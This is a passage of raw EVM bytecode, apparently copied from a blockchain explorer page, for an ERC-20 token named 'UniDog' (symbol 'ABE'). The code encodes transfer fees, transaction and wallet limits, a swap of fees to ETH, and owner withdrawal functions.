08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690612dbf565b60405180910390fd5b5f6113c8610e0b565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114365750611406610e0b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611aea573073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16146114ad576114aa606461149c600d54601054116114895760095461148d565b600b545b85611dfc90919063ffffffff16565b611e7390919063ffffffff16565b90505b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611550575060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115a3575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561165d576013548211156115ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e490612e27565b60405180910390fd5b601454826115fa85610c71565b6116049190612e45565b1115611645576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163c90612ec2565b60405180910390fd5b60105f81548092919061165790612ee0565b91905055505b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156116fb575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611759576014548261170d85610c71565b6117179190612e45565b1115611758576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174f90612ec2565b60405180910390fd5b5b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156117db57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156118285761181c606461180e600e54601054116117fb57600a546117ff565b600c545b85611dfc90919063ffffffff16565b611e7390919063ffffffff16565b905061182747611ebc565b5b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156118c6575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156118fe57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611907575f90505b5f61191130610c71565b9050601b5f9054906101000a900460ff16158015611975575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561198d5750601b60019054906101000a900460ff165b801561199a575060155481115b80156119a95750600f54601054115b15611a17576012544311156119c0575f6011819055505b6119dd6119d8846119d384601654611f24565b611f24565b611f3c565b5f4790505f8111156119f3576119f247611ebc565b5b60115f815480929190611a0590612ee0565b91905055504360128190555050611ae8565b601b5f9054906101000a900460ff16158015611a79575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611a915750601b60019054906101000a900460ff165b8015611a9e575060155481115b8015611aad5750600f54601054115b15611ae757611acf611aca84611ac584601654611f24565b611f24565b611f3c565b5f4790505f811115611ae557611ae447611ebc565b5b505b5b505b5f811115611be957611b428160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121a590919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611be0919061244d565b60405180910390a35b611c398260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461220290919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611cdc611c90828461220290919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121a590919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611d7f848661220290919063ffffffff16565b604051611d8c919061244d565b60405180910390a350505050565b5f838311158290611de1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd8919061231c565b60405180910390fd5b505f8385611def9190612f27565b9050809150509392505050565b5f808303611e0c575f9050611e6d565b5f8284611e199190612721565b9050828482611e28919061285f565b14611e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5f90612fca565b60405180910390fd5b809150505b92915050565b5f611eb483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061224b565b905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611f20573d5f803e3d5ffd5b5050565b5f818311611f325782611f34565b815b905092915050565b6001601b5f6101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611f7257611f71612fe8565b5b604051908082528060200260200182016040528015611fa05781602001602082028036833780820191505090505b50905030815f81518110611fb757611fb6613015565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561205b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061207f9190613056565b8160018151811061209357612092613015565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120f93060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110de565b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161215b959493929190613138565b5f604051808303815f87803b158015612172575f80fd5b505af1158015612184573d5f803e3d5ffd5b50505050505f601b5f6101000a81548160ff02191690831515021790555050565b5f8082846121b39190612e45565b9050838110156121f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ef906131da565b60405180910390fd5b8091505092915050565b5f61224383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d9a565b905092915050565b5f8083118290612291576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612288919061231c565b60405180910390fd5b505f838561229f919061285f565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6122ee826122ac565b6122f881856122b6565b93506123088185602086016122c6565b612311816122d4565b840191505092915050565b5f6020820190508181035f83015261233481846122e4565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61236982612340565b9050919050565b6123798161235f565b8114612383575f80fd5b50565b5f8135905061239481612370565b92915050565b5f819050919050565b6123ac8161239a565b81146123b6575f80fd5b50565b5f813590506123c7816123a3565b92915050565b5f80604083850312156123e3576123e261233c565b5b5f6123f085828601612386565b9250506020612401858286016123b9565b9150509250929050565b5f8115159050919050565b61241f8161240b565b82525050565b5f6020820190506124385f830184612416565b92915050565b6124478161239a565b82525050565b5f6020820190506124605f83018461243e565b92915050565b5f805f6060848603121561247d5761247c61233c565b5b5f61248a86828701612386565b935050602061249b86828701612386565b92505060406124ac868287016123b9565b9150509250925092565b5f602082840312156124cb576124ca61233c565b5b5f6124d884828501612386565b91505092915050565b5f60ff82169050919050565b6124f6816124e1565b82525050565b5f60208201905061250f5f8301846124ed565b92915050565b61251e8161235f565b82525050565b5f6020820190506125375f830184612515565b92915050565b5f80604083850312156125535761255261233c565b5b5f61256085828601612386565b925050602061257185828601612386565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156125fd578086048111156125d9576125d861257b565b5b60018516156125e85780820291505b80810290506125f6856125a8565b94506125bd565b94509492505050565b5f8261261557600190506126d0565b81612622575f90506126d0565b8160018114612638576002811461264257612671565b60019150506126d0565b60ff8411156126545761265361257b565b5b8360020a91508482111561266b5761266a61257b565b5b506126d0565b5060208310610133831016604e8410600b84101617156126a65782820a9050838111156126a1576126a061257b565b5b6126d0565b6126b384848460016125b4565b925090508184048111156126ca576126c961257b565b5b81810290505b9392505050565b5f6126e18261239a565b91506126ec836124e1565b92506127197fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612606565b905092915050565b5f61272b8261239a565b91506127368361239a565b92508282026127448161239a565b9150828204841483151761275b5761275a61257b565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6127966020836122b6565b91506127a182612762565b602082019050919050565b5f6020820190508181035f8301526127c38161278a565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6127fe6017836122b6565b9150612809826127ca565b602082019050919050565b5f6020820190508181035f83015261282b816127f2565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6128698261239a565b91506128748361239a565b92508261288457612883612832565b5b828204905092915050565b5f819050919050565b5f819050919050565b5f6128bb6128b66128b18461288f565b612898565b61239a565b9050919050565b6128cb816128a1565b82525050565b5f60c0820190506128e45f830189612515565b6128f1602083018861243e565b6128fe60408301876128c2565b61290b60608301866128c2565b6129186080830185612515565b61292560a083018461243e565b979650505050505050565b5f8151905061293e816123a3565b92915050565b5f805f6060848603121561295b5761295a61233c565b5b5f61296886828701612930565b935050602061297986828701612930565b925050604061298a86828701612930565b9150509250925092565b5f6040820190506129a75f830185612515565b6129b4602083018461243e565b9392505050565b6129c48161240b565b81146129ce575f80fd5b50565b5f815190506129df816129bb565b92915050565b5f602082840312156129fa576129f961233c565b5b5f612a07848285016129d1565b91505092915050565b5f612a2a612a25612a2084612340565b612898565b612340565b9050919050565b5f612a3b82612a10565b9050919050565b5f612a4c82612a31565b9050919050565b612a5c81612a42565b82525050565b5f604082019050612a755f830185612a53565b612a82602083018461243e565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612ae36026836122b6565b9150612aee82612a89565b604082019050919050565b5f6020820190508181035f830152612b1081612ad7565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612b716024836122b6565b9150612b7c82612b17565b604082019050919050565b5f6020820190508181035f830152612b9e81612b65565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612bff6022836122b6565b9150612c0a82612ba5565b604082019050919050565b5f6020820190508181035f830152612c2c81612bf3565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612c8d6025836122b6565b9150612c9882612c33565b604082019050919050565b5f6020820190508181035f830152612cba81612c81565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612d1b6023836122b6565b9150612d2682612cc1565b604082019050919050565b5f6020820190508181035f830152612d4881612d0f565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612da96029836122b6565b9150612db482612d4f565b604082019050919050565b5f6020820190508181035f830152612dd681612d9d565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612e116019836122b6565b9150612e1c82612ddd565b602082019050919050565b5f6020820190508181035f830152612e3e81612e05565b9050919050565b5f612e4f8261239a565b9150612e5a8361239a565b9250828201905080821115612e7257612e7161257b565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612eac601a836122b6565b9150612eb782612e78565b602082019050919050565b5f6020820190508181035f830152612ed981612ea0565b9050919050565b5f612eea8261239a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612f1c57612f1b61257b565b5b600182019050919050565b5f612f318261239a565b9150612f3c8361239a565b9250828203905081811115612f5457612f5361257b565b5b92915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612fb46021836122b6565b9150612fbf82612f5a565b604082019050919050565b5f6020820190508181035f830152612fe181612fa8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f8151905061305081612370565b92915050565b5f6020828403121561306b5761306a61233c565b5b5f61307884828501613042565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6130b38161235f565b82525050565b5f6130c483836130aa565b60208301905092915050565b5f602082019050919050565b5f6130e682613081565b6130f0818561308b565b93506130fb8361309b565b805f5b8381101561312b57815161311288826130b9565b975061311d836130d0565b9250506001810190506130fe565b5085935050505092915050565b5f60a08201905061314b5f83018861243e565b61315860208301876128c2565b818103604083015261316a81866130dc565b90506131796060830185612515565b613186608083018461243e565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6131c4601b836122b6565b91506131cf82613190565b602082019050919050565b5f6020820190508181035f8301526131f1816131b8565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b7695759b245e188194d291f6e2700c36d1e32d5f7d498f1feace8d5a8532d6d64736f6c634300081a0033
Deployed Bytecode
0x60806040526004361061012d575f3560e01c80636b996150116100aa5780638f9a55c01161006e5780638f9a55c0146103b857806395d89b41146103e2578063a9059cbb1461040c578063bf474bed14610448578063dd62ed3e14610472578063f2fde38b146104ae57610134565b80636b996150146102fc57806370a0823114610312578063715018a61461034e5780637d1db4a5146103645780638da5cb5b1461038e57610134565b8063293230b8116100f1578063293230b81461022e5780633036755414610244578063313ce567146102805780633ab84f6a146102aa57806349bd5a5e146102d257610134565b806306fdde0314610138578063095ea7b3146101625780630faee56f1461019e57806318160ddd146101c857806323b872dd146101f257610134565b3661013457005b5f80fd5b348015610143575f80fd5b5061014c6104d6565b604051610159919061231c565b60405180910390f35b34801561016d575f80fd5b50610188600480360381019061018391906123cd565b610513565b6040516101959190612425565b60405180910390f35b3480156101a9575f80fd5b506101b2610530565b6040516101bf919061244d565b60405180910390f35b3480156101d3575f80fd5b506101dc610536565b6040516101e9919061244d565b60405180910390f35b3480156101fd575f80fd5b5061021860048036038101906102139190612466565b610559565b6040516102259190612425565b60405180910390f35b348015610239575f80fd5b5061024261062d565b005b34801561024f575f80fd5b5061026a600480360381019061026591906124b6565b610a61565b6040516102779190612425565b60405180910390f35b34801561028b575f80fd5b50610294610a7e565b6040516102a191906124fc565b60405180910390f35b3480156102b5575f80fd5b506102d060048036038101906102cb91906123cd565b610a86565b005b3480156102dd575f80fd5b506102e6610b86565b6040516102f39190612524565b60405180910390f35b348015610307575f80fd5b50610310610bab565b005b34801561031d575f80fd5b50610338600480360381019061033391906124b6565b610c71565b604051610345919061244d565b60405180910390f35b348015610359575f80fd5b50610362610cb7565b005b34801561036f575f80fd5b50610378610e05565b604051610385919061244d565b60405180910390f35b348015610399575f80fd5b506103a2610e0b565b6040516103af9190612524565b60405180910390f35b3480156103c3575f80fd5b506103cc610e32565b6040516103d9919061244d565b60405180910390f35b3480156103ed575f80fd5b506103f6610e38565b604051610403919061231c565b60405180910390f35b348015610417575f80fd5b50610432600480360381019061042d91906123cd565b610e75565b60405161043f9190612425565b60405180910390f35b348015610453575f80fd5b5061045c610e92565b604051610469919061244d565b60405180910390f35b34801561047d575f80fd5b506104986004803603810190610493919061253d565b610e98565b6040516104a5919061244d565b60405180910390f35b3480156104b9575f80fd5b506104d460048036038101906104cf91906124b6565b610f1a565b005b60606040518060400160405280600681526020017f556e69446f670000000000000000000000000000000000000000000000000000815250905090565b5f61052661051f6110d7565b84846110de565b6001905092915050565b60165481565b5f6009600a61054591906126d7565b633b9aca006105549190612721565b905090565b5f6105658484846112a1565b610622846105716110d7565b61061d856040518060600160405280602881526020016131f96028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105d46110d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d9a9092919063ffffffff16565b6110de565b600190509392505050565b6106356110d7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b8906127ac565b60405180910390fd5b601860149054906101000a900460ff1615610711576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070890612814565b60405180910390fd5b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306064606261075d30610c71565b6107679190612721565b610771919061285f565b5f8061077b610e0b565b426040518863ffffffff1660e01b815260040161079d969594939291906128d1565b60606040518083038185885af11580156107b9573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107de9190612944565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016108df929190612994565b6020604051808303815f875af11580156108fb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061091f91906129e5565b5061098960185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a61097591906126d7565b633b9aca006109849190612721565b6110de565b6001601b60016101000a81548160ff0219169083151502179055506001601860146101000a81548160ff021916908315150217905550436008819055506009600a6109d491906126d7565b633b9aca006109e39190612721565b6013819055506009600a6109f791906126d7565b633b9aca00610a069190612721565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610a3b91906126d7565b633b9aca00610a4a9190612721565b604051610a57919061244d565b60405180910390a1565b6004602052805f5260405f205f915054906101000a900460ff1681565b5f6009905090565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ac66110d7565b73ffffffffffffffffffffffffffffffffffffffff1614610ae5575f80fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610b41929190612a62565b6020604051808303815f875af1158015610b5d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b8191906129e5565b505050565b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610beb6110d7565b73ffffffffffffffffffffffffffffffffffffffff1614610c0a575f80fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610c6e573d5f803e3d5ffd5b50565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610cbf6110d7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d42906127ac565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60135481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60145481565b60606040518060400160405280600381526020017f4142450000000000000000000000000000000000000000000000000000000000815250905090565b5f610e88610e816110d7565b84846112a1565b6001905092915050565b60155481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610f226110d7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa5906127ac565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361101c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101390612af9565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361114c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114390612b87565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b190612c15565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611294919061244d565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361130f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130690612ca3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361137d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137490612d31565b60405180910390fd5b5f81116113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690612dbf565b60405180910390fd5b5f6113c8610e0b565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114365750611406610e0b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611aea573073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16146114ad576114aa606461149c600d54601054116114895760095461148d565b600b545b85611dfc90919063ffffffff16565b611e7390919063ffffffff16565b90505b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611550575060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115a3575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561165d576013548211156115ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e490612e27565b60405180910390fd5b601454826115fa85610c71565b6116049190612e45565b1115611645576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163c90612ec2565b60405180910390fd5b60105f81548092919061165790612ee0565b91905055505b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156116fb575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611759576014548261170d85610c71565b6117179190612e45565b1115611758576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174f90612ec2565b60405180910390fd5b5b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156117db57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156118285761181c606461180e600e54601054116117fb57600a546117ff565b600c545b85611dfc90919063ffffffff16565b611e7390919063ffffffff16565b905061182747611ebc565b5b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156118c6575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156118fe57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611907575f90505b5f61191130610c71565b9050601b5f9054906101000a900460ff16158015611975575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b801561198d5750601b60019054906101000a900460ff165b801561199a575060155481115b80156119a95750600f54601054115b15611a17576012544311156119c0575f6011819055505b6119dd6119d8846119d384601654611f24565b611f24565b611f3c565b5f4790505f8111156119f3576119f247611ebc565b5b60115f815480929190611a0590612ee0565b91905055504360128190555050611ae8565b601b5f9054906101000a900460ff16158015611a79575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611a915750601b60019054906101000a900460ff165b8015611a9e575060155481115b8015611aad5750600f54601054115b15611ae757611acf611aca84611ac584601654611f24565b611f24565b611f3c565b5f4790505f811115611ae557611ae447611ebc565b5b505b5b505b5f811115611be957611b428160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121a590919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611be0919061244d565b60405180910390a35b611c398260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461220290919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611cdc611c90828461220290919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121a590919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611d7f848661220290919063ffffffff16565b604051611d8c919061244d565b60405180910390a350505050565b5f838311158290611de1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd8919061231c565b60405180910390fd5b505f8385611def9190612f27565b9050809150509392505050565b5f808303611e0c575f9050611e6d565b5f8284611e199190612721565b9050828482611e28919061285f565b14611e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5f90612fca565b60405180910390fd5b809150505b92915050565b5f611eb483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061224b565b905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611f20573d5f803e3d5ffd5b5050565b5f818311611f325782611f34565b815b905092915050565b6001601b5f6101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611f7257611f71612fe8565b5b604051908082528060200260200182016040528015611fa05781602001602082028036833780820191505090505b50905030815f81518110611fb757611fb6613015565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815